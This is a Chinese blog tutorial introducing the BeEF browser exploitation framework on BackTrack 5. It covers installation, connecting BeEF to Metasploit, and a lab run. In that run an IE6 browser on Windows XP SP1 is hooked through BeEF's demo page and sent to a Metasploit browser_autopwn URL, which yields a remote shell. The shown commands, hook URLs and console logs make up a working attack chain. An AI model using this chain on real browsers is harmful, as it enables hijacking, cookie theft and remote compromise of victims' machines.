初探BeEF
1.什么是BeEF?
就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。
里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。
大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef
BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。
[plain] view plaincopy


- ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]
- beef :Version 0.4.3.6-alpha
beef默认安装在:/pentest/web/beef/ 下
metasploit默认安装在:/opt/metasploit/下
翻看了下beef的安装文档:INSTALL.txt
[plain] view plaincopy


- 1. Prerequisites (platform independent)
- BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
- gem install bundler
- . Prerequisites (Linux)
- !!! This must be done PRIOR to running the bundle install command !!!
- On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
- 3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- 3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
- 3.2. rvm install 1.9.2
- 3.3. rvm use 1.9.2
发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)
总结了下就是:
[plain] view plaincopy


- apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- gem install bundler
- bundle install
如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):
[plain] view plaincopy


- gem install --user-install bundler
然后开启beef:./beef
出现如下信息则成功:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
- [ 9:17:50][*] Browser Exploitation Framework (BeEF)
- [ 9:17:50] | Version 0.4.3.6-alpha
- [ 9:17:50] | Website http://beefproject.com
- [ 9:17:50] | Run 'beef -h' for basic help.
- [ 9:17:50] |_ Run 'git pull' to update to the latest revision.
- [ 9:17:50][*] Successful connection with Metasploit.
- [ 9:17:53][*] Loaded 203 Metasploit exploits.
- [ 9:17:53][*] BeEF is loading. Wait a few seconds...
- [ 9:17:57][*] 9 extensions loaded:
- [ 9:17:57] | Console
- [ 9:17:57] | Requester
- [ 9:17:57] | Events
- [ 9:17:57] | Proxy
- [ 9:17:57] | XSSRays
- [ 9:17:57] | Autoloader
- [ 9:17:57] | Metasploit
- [ 9:17:57] | Demos
- [ 9:17:57] |_ Admin UI
- [ 9:17:57][*] 316 modules enabled.
- [ 9:17:57][*] 2 network interfaces were detected.
- [ 9:17:57][+] running on network interface: 127.0.0.1
- [ 9:17:57] | Hook URL: http://127.0.0.1:3000/hook.js
- [ 9:17:57] |_ UI URL: http://127.0.0.1:3000/ui/panel
- [ 9:17:57][+] running on network interface: 192.168.198.128
- [ 9:17:57] | Hook URL: http://192.168.198.128:3000/hook.js
- [ 9:17:57] |_ UI URL: http://192.168.198.128:3000/ui/panel
- [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72
- [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789
- [ 9:17:57][*] BeEF server started (press control+c to stop)
其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit
首先关闭beef(Ctrl+C)。
在/opt/metasploit/文件夹下gedit beef.rc,写入内容:
[plain] view plaincopy


- load msgrpc ServerHost=127.0.0.1 Pass=abc123
这里上网搜了下,发现密码神马的最好不要改,那就不改啦~
安装msgpack:
[plain] view plaincopy


- gem install --user-install msgpack
修改配置让beef支持metasploit:
[plain] view plaincopy


- gedit /pentest/web/beef/config.yaml
- 把 metasploit:
- enable: false
- 改成:
- metasploit:
- enable: true
Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!
我们启动metasploit:
[plain] view plaincopy


- root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc
出现如下信息就表示成功:
[plain] view plaincopy


- [*] Processing beef.rc for ERB directives.
- resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123
- [*] MSGRPC Service: 127.0.0.1:55552
- [*] MSGRPC Username: msf
- [*] MSGRPC Password: abc123
- [*] Successfully loaded plugin: msgrpc
然后我们再启动beef:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:
[plain] view plaincopy


- http://127.0.0.1:3000/demos/basic.html
里面主要是有这么一段js代码:
[plain] view plaincopy


4.对XPSP1测试
(1)让xp sp1 用IE6访问hack页面:
[plain] view plaincopy


- http://192.168.198.128:3000/demos/basic.html
发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)
拿msf生成HOOK链接:
[plain] view plaincopy


- msf > use auxiliary/server/browser_autopwn
- msf auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址
- LHOST => 192.168.198.128
- msf auxiliary(browser_autopwn) > run
然后出来一大堆URL,我们选择,IE的一个:
[plain] view plaincopy


- http://192.168.198.128:8080/hxRmMPkYJa
控制被HOOK的浏览器去访问这个链接:

然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。
有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。
这么强大的神器,你还在等什么呢?
emaster 关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067
初探BeEF的更多相关文章
- 【20171106早】BeEF 工具初探
老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...
- 初探领域驱动设计(2)Repository在DDD中的应用
概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...
- CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探
CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...
- 从273二手车的M站点初探js模块化编程
前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...
- JavaScript学习(一) —— 环境搭建与JavaScript初探
1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...
- .NET文件并发与RabbitMQ(初探RabbitMQ)
本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...
- React Native初探
前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...
- 【手把手教你全文检索】Apache Lucene初探
PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...
- Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用
一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...
随机推荐
- springBoot启动时让方法自动执行的几种实现方式
一.开篇名义 在springBoot中我们有时候需要让项目在启动时提前加载相应的数据或者执行某个方法,那么实现提前加载的方式有哪些呢?接下来我带领大家逐个解答 1.实现ServletContextAw ...
- JSONP数据调用
json 是一种数据格式 jsonp 是一种数据调用的方式. 什么是JSONP 为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是 ...
- Shell脚本编写1
1.shell操作系统与外部最主要的接口就叫做shell.shell是操作系统最外面的一层.shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结 ...
- C# 之VS程序打包
VS2012没有自带打包工具,所以要先下载并安装一个打包工具.我采用微软提供的打包工具: InstallShield2015LimitedEdition.下载地址:http://pan.baidu. ...
- 初识JSP,第一天
1.什么JSP java Server Page java 服务端的页面,它和servlet 一样可以提供动态的html 响应. 不同的是 servlet 以 java 代码 为主 jsp 以html ...
- java加载redis以及基本操作
前言: Redis是一款开源的.高性能的键-值存储(key-value store).它常被称作是一款数据结构服务器(data structure server).Redis的键值可以包括字符串(st ...
- 如何使Wpf浏览器应用程序被完全信任运行
原文地址链接:http://blogs.microsoft.co.il/maxim/2008/03/05/how-to-run-wpf-xbap-as-full-trust-application/ ...
- MySQL:SQL进阶
一.数据库相关理论 1.系统数据库 information_schema: 虚拟库,不占用磁盘空间,存储的是数据库启动后的一些参数,如用户表信息.列信息.权限信息.字符信息等performance_s ...
- 线性规划费用流解法(Bzoj1061: [Noi2008]志愿者招募)
题面 传送门 Sol 线性规划费用流解法用与求解未知数为非负数的问题 这道题可以列出一堆形如 \(x[i]+x[j]+x[k]+...>=a[p]\) 的不等式 我们强行给每个式子减去一个东西, ...
- Vijos / 题库 / 输油管道问题
背景 想念car的GF,car就出了道水题! 描述 某石油公司计划建造一条由东向西的主输油管道.该管道要穿过一个有n 口油井的油田.从每口油井都要有一条输油管道沿最短路经(或南或北)与主管道相连.如果 ...